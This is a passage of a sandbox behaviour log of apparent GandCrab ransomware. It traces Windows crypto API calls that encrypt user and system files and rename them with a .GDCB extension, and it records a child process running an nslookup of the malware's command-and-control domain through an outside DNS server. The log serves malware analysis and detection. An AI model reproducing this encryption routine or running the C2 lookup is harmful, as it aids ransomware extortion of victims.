Settings\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0307.904] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe100000 [0307.907] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe110000 [0307.910] ReadFile (in: hFile=0x4f4, lpBuffer=0xe110000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0xe110000*, lpNumberOfBytesRead=0x285e828*=0x1268b, lpOverlapped=0x0) returned 1 [0307.918] VirtualAlloc (lpAddress=0x0, dwSize=0x12690, flAllocationType=0x3000, flProtect=0x4) returned 0xe220000 [0307.926] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg.gdcb")) returned 1 [0308.425] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0308.429] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.431] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.431] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0308.431] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.431] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0308.434] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.437] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0308.437] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0308.437] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0308.439] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67b0170) returned 1 [0308.439] CryptGetKeyParam (in: hKey=0x67b0170, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0308.439] CryptEncrypt (in: hKey=0x67b0170, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xe0e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0308.440] GetLastError () returned 0x0 [0308.440] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.440] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0308.441] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67b0430) returned 1 [0308.441] CryptGetKeyParam (in: hKey=0x67b0430, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0308.441] CryptEncrypt (in: hKey=0x67b0430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe0f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xe0f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0308.442] GetLastError () returned 0x0 [0308.442] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0308.442] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0308.454] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0308.458] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.460] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.460] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0308.460] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.460] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0308.463] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.465] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.465] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0308.465] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0308.465] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0308.468] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67b03f0) returned 1 [0308.468] CryptGetKeyParam (in: hKey=0x67b03f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0308.468] CryptEncrypt (in: hKey=0x67b03f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe100000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xe100000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0308.468] GetLastError () returned 0x0 [0308.468] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0308.468] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0308.470] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67b0470) returned 1 [0308.470] CryptGetKeyParam (in: hKey=0x67b0470, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0308.470] CryptEncrypt (in: hKey=0x67b0470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe110000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xe110000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0308.470] GetLastError () returned 0x0 [0308.470] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.470] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0308.472] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe120000 [0308.475] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe130000 [0308.478] ReadFile (in: hFile=0x50c, lpBuffer=0xe130000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xe130000*, lpNumberOfBytesRead=0x285d3e8*=0x50, lpOverlapped=0x0) returned 1 [0308.487] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x3000, flProtect=0x4) returned 0xe240000 [0308.492] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini.GDCB" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini.gdcb")) returned 0 [0308.521] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0308.525] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.528] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.528] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0308.528] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0308.528] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0308.532] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.534] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.534] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0308.535] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.535] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0308.537] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67b0130) returned 1 [0308.537] CryptGetKeyParam (in: hKey=0x67b0130, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0308.537] CryptEncrypt (in: hKey=0x67b0130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe100000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xe100000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0308.538] GetLastError () returned 0x0 [0308.538] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.538] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0308.539] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67b0830) returned 1 [0308.539] CryptGetKeyParam (in: hKey=0x67b0830, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0308.539] CryptEncrypt (in: hKey=0x67b0830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe110000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xe110000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0308.540] GetLastError () returned 0x0 [0308.540] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.540] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0308.541] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe120000 [0308.545] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe130000 [0308.548] ReadFile (in: hFile=0x50c, lpBuffer=0xe130000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xe130000*, lpNumberOfBytesRead=0x285d3e8*=0xb765, lpOverlapped=0x0) returned 1 [0308.561] VirtualAlloc (lpAddress=0x0, dwSize=0xb770, flAllocationType=0x3000, flProtect=0x4) returned 0xe240000 [0308.569] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Shell\\DefaultLayouts.xml.GDCB" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\shell\\defaultlayouts.xml.gdcb")) returned 1 [0308.610] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0308.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.617] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.617] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0308.617] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.617] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0308.621] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0308.624] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0308.624] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0308.624] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.624] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0308.627] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67b04b0) returned 1 [0308.627] CryptGetKeyParam (in: hKey=0x67b04b0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0308.627] CryptEncrypt (in: hKey=0x67b04b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe100000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xe100000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0308.627] GetLastError () returned 0x0 [0308.627] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.627] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0308.629] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67b0530) returned 1 [0308.629] CryptGetKeyParam (in: hKey=0x67b0530, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0308.629] CryptEncrypt (in: hKey=0x67b0530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe110000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xe110000*, pdwDataLen=0x285d630*=0x100) returned 1 [0308.629] GetLastError () returned 0x0 [0308.629] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0308.629] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0308.631] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe120000 [0308.634] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe130000 [0308.638] ReadFile (in: hFile=0x508, lpBuffer=0xe130000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xe130000*, lpNumberOfBytesRead=0x285d670*=0x260, lpOverlapped=0x0) returned 1 [0308.645] VirtualAlloc (lpAddress=0x0, dwSize=0x260, flAllocationType=0x3000, flProtect=0x4) returned 0xe240000 [0308.672] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini"), lpNewFileName="C:\\Documents and Settings\\Default\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Sidebar\\settings.ini.GDCB" (normalized: "c:\\documents and settings\\default\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows sidebar\\settings.ini.gdcb")) returned 1 [0309.414] CryptAcquireContextW (in: phProv=0x285f834, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f834*=0x5c4980) returned 1 [0309.417] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0309.420] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0309.420] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285f984 | out: pbBuffer=0x285f984) returned 1 [0309.420] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0309.420] CryptAcquireContextW (in: phProv=0x285f834, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f834*=0x5c4e48) returned 1 [0309.423] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0309.425] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0309.425] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285f950 | out: pbBuffer=0x285f950) returned 1 [0309.425] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0309.425] CryptAcquireContextW (in: phProv=0x285f824, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f824*=0x5c4e48) returned 1 [0309.428] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f828 | out: phKey=0x285f828*=0x67b0070) returned 1 [0309.428] CryptGetKeyParam (in: hKey=0x67b0070, dwParam=0x8, pbData=0x285f814, pdwDataLen=0x285f81c, dwFlags=0x0 | out: pbData=0x285f814*=0x800, pdwDataLen=0x285f81c*=0x4) returned 1 [0309.428] CryptEncrypt (in: hKey=0x67b0070, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe100000*, pdwDataLen=0x285f99c*=0xc8, dwBufLen=0x800 | out: pbData=0xe100000*, pdwDataLen=0x285f99c*=0x100) returned 1 [0309.428] GetLastError () returned 0x0 [0309.428] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0309.428] CryptAcquireContextW (in: phProv=0x285f824, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f824*=0x5c4760) returned 1 [0309.430] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f828 | out: phKey=0x285f828*=0x67b00b0) returned 1 [0309.430] CryptGetKeyParam (in: hKey=0x67b00b0, dwParam=0x8, pbData=0x285f814, pdwDataLen=0x285f81c, dwFlags=0x0 | out: pbData=0x285f814*=0x800, pdwDataLen=0x285f81c*=0x4) returned 1 [0309.430] CryptEncrypt (in: hKey=0x67b00b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe110000*, pdwDataLen=0x285f9a0*=0xc8, dwBufLen=0x800 | out: pbData=0xe110000*, pdwDataLen=0x285f9a0*=0x100) returned 1 [0309.430] GetLastError () returned 0x0 [0309.430] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0309.430] CreateFileW (lpFileName="C:\\System Volume Information\\tracking.log" (normalized: "c:\\system volume information\\tracking.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d0 [0309.431] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xe120000 [0309.434] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xe130000 [0309.436] ReadFile (in: hFile=0x4d0, lpBuffer=0xe130000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f9e0, lpOverlapped=0x0 | out: lpBuffer=0xe130000*, lpNumberOfBytesRead=0x285f9e0*=0x5000, lpOverlapped=0x0) returned 1 [0309.454] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x4) returned 0xe240000 [0309.463] MoveFileW (lpExistingFileName="C:\\System Volume Information\\tracking.log" (normalized: "c:\\system volume information\\tracking.log"), lpNewFileName="C:\\System Volume Information\\tracking.log.GDCB" (normalized: "c:\\system volume information\\tracking.log.gdcb")) returned 1 [0310.849] RtlExitUserThread (Status=0x0) Thread: id = 243 os_tid = 0xf0 Thread: id = 284 os_tid = 0x904 Thread: id = 285 os_tid = 0x934 Thread: id = 286 os_tid = 0x8fc Thread: id = 289 os_tid = 0x898 Thread: id = 313 os_tid = 0x780 Process: id = "16" image_name = "nslookup.exe" filename = "c:\\windows\\syswow64\\nslookup.exe" page_root = "0x696e1000" os_pid = "0xaa8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xa5c" cmd_line = "nslookup gandcrab.bit a.dnspod.com" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5879 start_va = 0x2e0000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5880 start_va = 0x300000 end_va = 0x301fff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 5881 start_va = 0x310000 end_va = 0x326fff entry_point = 0x310000 region_type = mapped_file name = "nslookup.exe" filename = "\\Windows\\SysWOW64\\nslookup.exe" (normalized: "c:\\windows\\syswow64\\nslookup.exe") Region: id = 5882 start_va = 0x330000 end_va = 0x432ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 5883 start_va = 0x4330000 end_va = 0x4343fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004330000" filename = "" Region: id = 5884 start_va = 0x4350000 end_va = 0x438ffff entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 5885 start_va = 0x4390000 end_va = 0x43cffff entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 5886 start_va = 0x43d0000 end_va = 0x43d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043d0000" filename = "" Region: id = 5887 start_va = 0x43e0000 end_va = 0x43e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043e0000" filename = "" Region: id = 5888 start_va = 0x43f0000 end_va = 0x43f1fff entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 